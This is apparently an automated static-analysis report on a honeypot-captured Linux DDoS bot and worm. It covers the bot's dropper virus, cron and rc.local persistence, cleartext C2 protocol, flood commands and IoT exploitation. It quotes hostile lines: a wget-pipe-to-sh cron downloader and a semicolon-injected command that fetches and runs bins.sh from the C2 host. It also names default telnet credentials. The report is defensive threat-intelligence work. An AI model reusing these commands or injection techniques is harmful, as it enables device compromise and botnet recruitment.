Honeypot capture

X86_64 ELF 64-bit LSB pie executable ddos-bot (3261921456e3)

C2 verifiedProtocol documented

A honeypot sensor network captured a 5,919,119-byte x86-64 ELF (SHA-256 3261921456e3…7b70). The pipeline recovered two command-and-control endpoints statically, and both name the single host 185[.]226[.]93[.]242; C2 is the channel an infected machine uses to reach its operator for instructions. The sample was read as data and never executed, and no recovered endpoint was contacted or resolved, so nothing here covers whether the host still answers on tcp/9111, or what the bot does about retries or timing once it is running. A dissector written from the recovered specification replays all four test vectors.

The channel is newline-delimited cleartext ASCII in both directions, unencrypted and unframed. A defender holding a packet capture of this bot reads the botnet’s current attack target, port and duration in cleartext.

The file contains two programs. Stage 1 is an 8,407-byte C dropper — a program that writes another program to disk and runs it — which is also an ELF file-infecting virus. Stage 2, appended at file offset 0x20d7, is a statically linked Go 1.25.0 bot of 5,910,712 bytes whose own module path is Botnet/Bot. That module path and the nineteen-command vocabulary match no published family. The code borrows Mirai-lineage conventions — a bins.sh loader, an std flood — while being an original Go implementation.

Stage 1, the dropper and ELF prepender virus

Stage 1 infects other executables before it drops its payload. It scans the working directory, and /bin/ls explicitly, for writable ELF64 files lacking the marker Ym9uZ3JpcHo0amV6dXoK, base64 for the operator handle bongripz4jezuz, and prepends its own first 0x20d7 bytes, the whole 8,407-byte dropper, to each. Infected binaries still run normally, and each execution re-installs an hourly cron downloader at /etc/cron.hourly/0:

#!/bin/sh

 wget --quiet hxxp[://]cf0[.]pw/0/etc/cron.hourly/0 -O- 2>/dev/null|sh>/dev/null 2>&1

Stage 1 chmods that file 05777 and sets the immutable inode flag on it via ioctl(FS_IOC_SETFLAGS) at stage-1 0x1144, so removal requires chattr -i first. The findings recommend treating compromise as estate-wide, covering the infected ELF binaries and the cron entry as well as the bot itself.

Stage 1 then reads /proc/self/exe, seeks to 0x20d7, writes the Go payload to a tmpnam() path at mode 0700, forks and execs it, waits, and unlinks the file, so the running bot has no backing file on disk. Stage 1 hides its strings behind an 87-symbol monoalphabetic substitution cipher whose decoder sits at stage-1 0x15d0, and the pipeline broke that cipher fully.

Every stage-1 claim in this report came from decoding the cipher and reading stage-1 main, so those claims are prose-only and did not pass through the cross-tool consensus round. Because the stage-1 functions live in the original sample’s address space, at file offsets below 0x20d7, the pipeline gated the machine profile against the carved stage-2 image instead.

Stage 2’s persistence writes

Stage 2 installs its persistence before it dials the C2. main.AutoStart at 0x642ce0 is the first call in main.main, ahead of any network activity. It copies the running binary as sysd into the first writable directory among /usr/bin/, /data/local/tmp/, /tmp/ and /var/run/, testing each by creating a zero-length test_write file. The indicator row for sysd records that the name masquerades as a system daemon. main.AutoStart then appends a background launch line to /etc/rc.local, /etc/rc.d/rc.local, /etc/init.d/boot.local, /etc/profile, /root/.bashrc and a sixth path with the username user hardcoded into the literal. That sixth path therefore matches only a host that has an account named user. The findings record this as a defect on the author’s part and report the path as-is.

The cleartext C2 channel

The table gives each value, its port, its role and its evidence address in the stage-2 image, and both rows carry an agreement verdict from the consensus round.

ValuePortRoleEvidence
185[.]226[.]93[.]2429111/tcpprimary C20x79c6d8, dial at 0x6404ed
hxxp[://]185[.]226[.]93[.]242/bins.sh80/tcploader fetched by victims0x6439b6

The address and port are plaintext string constants read from two adjacent Go string headers at 0x996340, from where runtime.concatstring3 joins the pair and hands the result to net.Dial. Port 9111 is non-standard for any registered protocol. The findings record no fallback address and nothing generated at runtime, so seizing the IP ends the channel. The host also appears in two other analysed captures, which the findings read as a wider campaign rather than a one-off.

A byte sweep of the sample found 21 network indicators absent from the recovered profile of two endpoints, among them 1[.]1[.]1[.]1, 1[.]2[.]1[.]1, 119[.]0[.]0[.]0 and 120[.]0[.]0[.]0.

The bot dials the C2 at 0x6404ed and sends every byte over an unwrapped socket, and it retries every 5 seconds on failure, without limit. The dial is followed directly by the string Connected to CNC!, with no TLS handshake in between. crypto/tls is linked into the binary but the C2 socket goes unwrapped, so no encoding or encryption is applied to the bytes on the wire, and the consensus round confirmed this at the outbound write site 0x642bc9. The bot then arms a 120-second watchdog that closes the socket, spawns the 2-second beacon, and reads command lines. The bot splits inbound lines on whitespace and caps them at 65,536 bytes.

The beacon is STATS|[cores]|[cpu_pct]|[mem_total]|[mem_avail]|amd64\n, emitted every 2 seconds with no jitter from 0x642a9b. main.GetStats at 0x6433e0 fills it with live telemetry: core count from a Go runtime global, CPU utilisation sampled over a 200 ms window from /proc/stat, and MemTotal/MemFree/Buffers/Cached from /proc/meminfo.

The nineteen flood commands

The table gives each token, its handler address in the stage-2 image and its network layer. Arguments take the form [token] [target] [[port]] [duration][ len=[n]]; hex, udp and fort accept the optional payload-size field. Each command cancels any running attack before launching in a goroutine.

TokensHandler addressesLayer
udp tcp std pps hex ppsraw0x63ddc0 0x63b880 0x63b640 0x639800 0x637d60 0x63ad40L4 / raw socket
ping0x6393e0L3 ICMP
ntp0x638060L4 amplification
voult handshake0x63fde0 0x637700raw socket / SYN
ovh fort game0x639120 0x634780 0x634f60L4 targeted
tls tlsplus tlsplusbypass browser cloudflare priv70x63ba00 0x63c5a0 0x63d200 0x632680 0x634520 0x639f60L7

One 207-block function dispatches all nineteen commands. The internals of the 19 flood handlers, 93 functions spanning 0x632680 to 0x63fde0, were held out of scope, since reading them would not change the C2 profile. Botnet/Methods.loadTLSProxies at 0x63ce40 consumes the relative path proxy/tlsplusbypass.txt at 0x72a4c5 for the tlsplusbypass command. The host that path is joined to was not traced, so it may be the C2 or separate proxy infrastructure, and the findings list it as an open question.

The layer-7 floods rotate 12 hardcoded browser User-Agents, one of them templated with a random Chrome major version, and six high-reputation Referer values. They emit a header list that includes the non-standard 18-byte header name purpure-secretf-id (0x62f2c0). All four cross-references to that header sit inside Botnet/Methods.browserBuildHeaders, so it is a flood artefact and carries no C2 authentication role.

Scanning and infection of embedded devices

Stage 2 works as a worm, a program that copies itself to further machines with no user action, across a network, removable media or exposed services. It runs 100 concurrent goroutines that generate random public IPv4 addresses, with RFC1918 space excluded by main.isPrivateIP, and probe one target per worker every 100 ms for embedded HTTP administration panels (0x643a91). The probe is GET /config.dat HTTP/1.1 carrying the fixed, non-browser User-Agent: Hello World, which the findings assess as a high-fidelity network signature for the scanning stage.

Against a device that answers, the bot fetches hxxp[://][victim]/config.dat, LZSS-decompresses it to harvest administrative credentials, and logs in, solving a CAPTCHA first where the panel presents one (0x644320). The pipeline did not prove which host fills the %s in that URL template at main.getCredLeak 0x64438b or main.getAdminCredLeak 0x644a4b. The findings list that host as an open question and record main.confCheck as dialling the scanned victim, which reads as the host being the current scan target, one arg-hop from proof. The binary also embeds a telnet credential wordlist of five pairs for brute-forcing devices, among them default:1, default:E1, default:L9 and user:cpu-seconds/gc/heap/.

The bot exploits the TOTOLINK/LB-LINK topicurl administration API, Boa-webserver login forms, and a /syscmd.htm diagnostics form, where it URL-encodes a ; to append an attacker command to ping -c 4 (0x72dcef). The injected command is wget hxxp[://]185[.]226[.]93[.]242/bins.sh -O bins.sh; chmod +x bins.sh; ./bins.sh, which fetches the per-architecture loader script from the C2 host itself and runs it from the working directory (0x6439f0).

The binary contains one author-written codec, and its callers are not on the C2 path. main.Decode at 0x643d60 is an Okumura LZSS decompressor — window 4096, r initialised to 0xFEE, 2-byte matches — and its only callers decompress the HTTP body of a scanned victim’s /config.dat. The pipeline never ran it against genuine ciphertext, because obtaining a sample requires network contact and the static-only lane forbids that. LZSS is not on the C2 path, so interception and emulation of the C2 are unaffected. A responder decoding a captured /config.dat should therefore treat the output as unvalidated.

The host behind hxxp[://]%s/config.dat

The pipeline still has to trace the host that fills that %s and the host joined to proxy/tlsplusbypass.txt, and to validate main.Decode against a genuine victim /config.dat. The pipeline also has to carry the stage-1 dropper and virus indicators, cf0[.]pw among them, into the machine profile.

Family
unclassified
First seen
September 27, 2026
Vector
Runs as a ddos-bot/worm; the entry vector is not established by static analysis
Format
5780 KB x86_64 ELF 64-bit LSB pie executable
VirusTotal
Not on VirusTotal
Tags
ddos-bot · dropper · elf · raw_tcp · worm · x86_64
Sample
By request. Email [email protected]

SHA-256

  • 3261921456e347fb40c2d0a605db61ee058020872486c844653696d03ebb7b70 as captured
  • 7459bd3f6fc88e25b79b04cdd2ef9824ac2d95afd78743245cdd4a4203104214 unpacked payload

Analysis performed using an automatic malware analysis pipeline using Binary Ninja

← All captures